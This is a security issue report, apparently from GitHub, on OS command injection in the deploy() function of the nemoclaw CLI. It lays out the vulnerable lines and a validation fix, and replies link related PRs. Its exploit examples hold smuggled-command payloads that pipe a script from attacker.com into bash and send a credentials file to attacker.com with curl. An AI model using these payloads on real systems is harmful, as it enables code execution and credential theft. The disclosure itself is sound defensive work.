MEDIUM: Unvalidated Instance Name in `deploy()` Shell Commands

[ReterAI]

MEDIUM: Unvalidated Instance Name in deploy() Shell Commands

Field	Value
Severity	Medium
CWE	CWE-78 (OS Command Injection)
File	bin/nemoclaw.js
Lines	130, 140, 152, 153, 162, 166, 170, 176
Function	deploy(instanceName)
Status	Active

Description

The deploy() function receives instanceName directly from process.argv (line 402: const [cmd, ...args] = process.argv.slice(2), dispatched at line 417: deploy(args[0])). This value is interpolated into 8 shell commands without any validation or escaping, despite a shellQuote() utility being defined in the same file (line 31).

If an operator were to pass a crafted instance name containing shell metacharacters, it would be interpreted by the shell.

Why Medium, Not Critical

This is a defense-in-depth input validation issue, not a remotely exploitable vulnerability:

1. process.argv is operator-controlled input — the person typing nemoclaw deploy <name> is the same person who would be "attacking" themselves. Standard CLI tools (git, docker, kubectl, ssh) also pass argv into shell commands without re-validating.
2. No remote attack vector — instance names are not received from network input, APIs, databases, or untrusted users. The only input path is the local command line.
3. CI/CD risk is theoretical — while a pipeline could pass unsanitized input as an instance name, this would require the pipeline itself to be compromised, at which point the attacker already has code execution.
4. The fix is still worthwhile — adding input validation is cheap, prevents accidental breakage from typos, and follows defense-in-depth principles.

Vulnerable Code

// bin/nemoclaw.js — deploy() function

const name = instanceName;  // line 108 — direct from process.argv, NO validation

// Line 130 — injected into brev create command
run(`brev create ${name} --gpu "${gpu}"`);

// Line 140 — injected into ssh command
execSync(`ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no ${name} 'echo ok' 2>/dev/null`, ...);

// Line 152 — injected into ssh mkdir
run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'mkdir -p /home/ubuntu/nemoclaw'`);

// Line 153 — injected into rsync
run(`rsync -az --delete ... ${name}:/home/ubuntu/nemoclaw/`);

// Line 162 — injected into scp
run(`scp -q -o StrictHostKeyChecking=no -o LogLevel=ERROR "${envTmp}" ${name}:/home/ubuntu/nemoclaw/.env`);

// Line 166 — injected into ssh setup
runInteractive(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && ...'`);

// Line 170 — injected into ssh services
run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && ...'`);

// Line 176 — injected into ssh connect
runInteractive(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && ...'`);

Exploit Example

# Arbitrary command execution via crafted instance name:
nemoclaw deploy 'foo; curl attacker.com/payload | bash; echo '

# Command substitution:
nemoclaw deploy '$(whoami > /tmp/pwned)'

# In CI/CD where instance name comes from environment:
export INSTANCE_NAME='test; cat ~/.nemoclaw/credentials.json | curl -d @- attacker.com'
nemoclaw deploy "$INSTANCE_NAME"

Inconsistency

The shellQuote() function exists in the same file at line 31 and is correctly used in the uninstall() function (line 216). It is NOT used in deploy().

// Line 31 — available but unused in deploy()
function shellQuote(value) {
  return `'${String(value).replace(/'/g, `'\\''`)}'`;
}

// Line 216 — correctly used in uninstall()
const forwardedArgs = args.map(shellQuote).join(" ");

Additional Issues in deploy()

The function has several compounding security issues:

1. StrictHostKeyChecking=no on all SSH commands (lines 140, 152, 153, 162, 166, 170, 176) — vulnerable to MITM, should use accept-new
2. API key in process args (line 91 in setupSpark(), a separate CLI command) — visible in ps
3. Credentials in predictable temp file (line 160) — Date.now() is guessable, no cleanup on crash
4. Multiple secrets written to .env (lines 155-161) — NVIDIA_API_KEY, GITHUB_TOKEN, TELEGRAM_BOT_TOKEN all written to a temp file with only Date.now() uniqueness

Recommended Fix

Add input validation at the top of deploy(), before any shell commands:

async function deploy(instanceName) {
  if (!instanceName) {
    console.error("  Usage: nemoclaw deploy <instance-name>");
    process.exit(1);
  }

  // Validate instance name — alphanumeric, hyphens, dots only
  if (!/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/.test(instanceName)) {
    console.error(`  Invalid instance name: ${instanceName}`);
    console.error("  Must match: letters, digits, hyphens, dots, underscores");
    process.exit(1);
  }

  const name = instanceName;
  // ... rest of function

Alternatively, use shellQuote(name) at every interpolation site, but input validation is the stronger defense since instance names have a natural restricted character set.

Risk Assessment

• Impact: Command execution with the privileges of the user running nemoclaw deploy — but the user already has those privileges
• Exploitability: Requires the operator themselves to pass a malicious instance name via CLI, or a compromised CI/CD pipeline to inject it — both scenarios imply pre-existing access
• Attack surface: Local CLI tool with no remote input path. The deploy() function does connect to remote hosts, but the instance name itself comes only from local process.argv
• Mitigating factors: This is a standard CLI pattern — virtually all CLI tools interpolate argv into shell commands without re-validation. The risk is primarily accidental breakage from special characters, not intentional exploitation

[wscurran]

✨ Thanks for submitting this issue with a detailed summary, it identifies a security concern where the instance name in the deploy() function is not validated, which could lead to OS command injection and may be related to the security configuration.

---

Possibly related open PRs:

• #604 fix(cli): validate deploy instance names before setup prompts
• #933 chore(deps): bump actions/github-script from 7 to 8

[latenighthackathon]

Related: #1391 covers the same CWE-78 pattern in onboard.js — sandboxName and GATEWAY_NAME passed unquoted to run()/runCapture() despite shellQuote() being imported and used elsewhere in the same file. Fix in #1392.